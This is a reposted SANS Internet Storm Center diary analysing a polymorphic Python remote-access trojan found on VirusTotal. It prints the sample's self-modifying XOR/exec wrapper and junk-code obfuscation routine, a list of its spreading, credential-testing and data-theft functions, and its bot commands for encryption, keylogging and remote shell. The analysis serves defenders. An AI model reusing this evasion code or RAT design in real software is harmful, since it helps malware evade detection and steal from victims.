Grow Your Business and Join MarketWorld Marketplace and Create Your Own Store front

Sunday, October 12, 2025

Grow Your Business and Join MarketWorld Marketplace and Create Your Own Store front

HomeCyberSecurityPolymorphic Python Malware - SANS Internet Storm Center

Polymorphic Python Malware – SANS Internet Storm Center

Today, I spoted on VirusTotal an interesting Python RAT. They are tons of them but this one attracted my attention based on some function names present in the code: self_modifying_wrapper(), decrypt_and_execute() and polymorph_code(). A polymorphic malware is a type of malware that has been developed to repeatedly mutate its appearance or signature files at every execution time. The file got a very low score of 2/64 on VT! (SHA256:7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c).

To be able to modify its code on the fly, the program must have access to its own source code. Many languages have this capability. I covered the same technque in JavaScript a long time ago[1]. With Python, there is a very interesting module that can add the same capability: inspect[2].

Here is a simple snippet of code to demonstrate how it works:


remnux@remnux:~$ cat poc.py
import inspect

def dummy_function():
    print("I'm a dummy function!")

def main():
    print("Function code:")
    print(inspect.getsource(dummy_function))

if __name__ == "__main__":
    main()

remnux@remnux:~$ python3 poc.py
Function code:
def dummy_function():
    print("I'm a dummy function!")

Once you get the source code, you can perform plenty of actions like anti-tampering detection (was the code modified – to debug it) or obfuscate it.

In the discovered sample, the self_modifying_wrapper() function will grab a function code, XOR it with a random key then un-XOR it and execute it from memory:


# Self-modifying code wrapper (simulates packing)
def self_modifying_wrapper():
    """Wrap critical code in a self-modifying layer."""
    log_path = resource_path('debug.log')
    try:
        # Simulate packed code by XORing critical sections
        critical_code = inspect.getsource(main).encode()
        xor_key = random.randint(1, 255)
        packed_code = bytes(b ^ xor_key for b in critical_code)
        # Unpack at runtime
        unpacked_code = bytes(b ^ xor_key for b in packed_code)
        code_obj = marshal.loads(zlib.decompress(unpacked_code))
        exec(code_obj)
        with open(log_path, "a") as f:
            f.write("[+] Self-modifying code executed\n")
        return True
    except Exception as e:
        with open(log_path, "a") as f:
            f.write(f"[-] Self-modifying code failed: {e}\n")
        return False

The malware has also the capability to inject junk code:


def polymorph_code(code):
    """Obfuscate code with advanced randomization and junk code."""
    log_path = resource_path('debug.log')
    try:
        # Advanced variable renaming
        var_map = {var: ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 12))) for var in code.split() if var.isidentifier()}
        for old_var, new_var in var_map.items():
            code = code.replace(old_var, new_var)
        # Insert complex junk code
        junk_snippets = [
            "def _unused_{}(): return None\n".format(''.join(random.choice(string.ascii_letters) for _ in range(8))),
            "x = [0] * {}; x = [y for y in x]\n".format(random.randint(10, 100)),
            "import time; time.sleep({})\n".format(random.uniform(0.01, 0.1)),
            "try: pass\nexcept: pass\n"
        ]
        lines = code.split('\n')
        for _ in range(random.randint(10, 20)):
            lines.insert(random.randint(0, len(lines)), random.choice(junk_snippets))
        code = '\n'.join(lines)
        # Shuffle function order
        code = code.replace('\r\n', '\n')  # Normalize line endings
        functions = re.findall(r'(def .+?\n\s*return .+?\n)', code, re.DOTALL)
        if functions:
            random.shuffle(functions)
            code = code.replace(''.join(functions), ''.join(functions))
        with open(log_path, "a") as f:
            f.write("[+] Advanced polymorphic transformation applied\n")
        return code
    except Exception as e:
        with open(log_path, "a") as f:
            f.write(f"[-] Polymorphic transformation failed: {e}\n")
        return code
        
It's easy to get a nice overview of the RAT capabilities:

Besides this specificity, the malware is a classic one and offers plenty of features to the Attacker. Here is a list of interesting functions that give a good overview of the capabilities:


remnux@remnux:~$ grep "async def" 7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c
async def socket_network_scan():
async def scan_host(ip):
async def try_router_hack(ip):
async def test_default_credentials(ip, service, port):
async def deliver_payload(ip, share=None, service=None, port=None):
async def execute_payload(ip, target_path, service):
async def get_phone_number(stolen_data):
async def send_stolen_data(stolen_data, channel, logins_path):
async def spread_to_network():
async def report_spreading_status(ip, message):
async def xworm(ctx, spread_url="https://example.com/serial_spoofer.exe"):
async def record_screen_webcam(voice_channel, ctx):
async def on_ready():
async def commands(ctx):
async def encrypt(ctx):
async def mine(ctx):
async def screenshot(ctx):
async def audio(ctx):
async def listen(ctx):
async def execute(ctx, *, command):
async def upload(ctx):
async def download(ctx, *, filename):
async def xworm(ctx):
async def archive(ctx):
async def system_info(ctx):
async def run(ctx, *, program):

In the same way, here is the list of bot commands:


# Bot command: Show available commands
@bot.command()
async def commands(ctx):
    log_path = resource_path('debug.log')
    with open(log_path, "a") as f:
        f.write("[+] Sending command list\n")
    commands_list = """
    /commands - Show this help message
    /encrypt - Encrypt victim's files
    /mine - Start cryptominer (simulated)
    /screenshot - Capture screenshot
    /audio - Capture audio
    /listen - Record screen for 30 seconds, stream high-quality live audio to voice channel
    /execute  - Run shell command
    /upload - Upload attached file to victim's PC
    /download  - Search and send file from victim's PC
    /xworm - Deploy Xworm payload
    /archive - Archive critical files
    /keylog_start - Start keylogger
    /keylog_stop - Stop keylogger and send log
    /system_info - Get system information
    /run  - Run a program
    """
    await ctx.send(commands_list)

The file was uploaded on VT as “nirorat.py”. I did not find any reference to this RAT. If you have more details, let us know!

[1] https://isc.sans.edu/diary/AntiDebugging+JavaScript+Techniques/26228

[2] https://docs.python.org/3/library/inspect.html

 

Xavier Mertens (@xme)

Xameco

Senior ISC Handler – Freelance Cyber Security Consultant

PGP Key


Source link

Bookmark (0)
Please login to bookmark Close
RELATED ARTICLES
- Advertisment -spot_img

Most Popular

Sponsored Business

- Advertisment -spot_img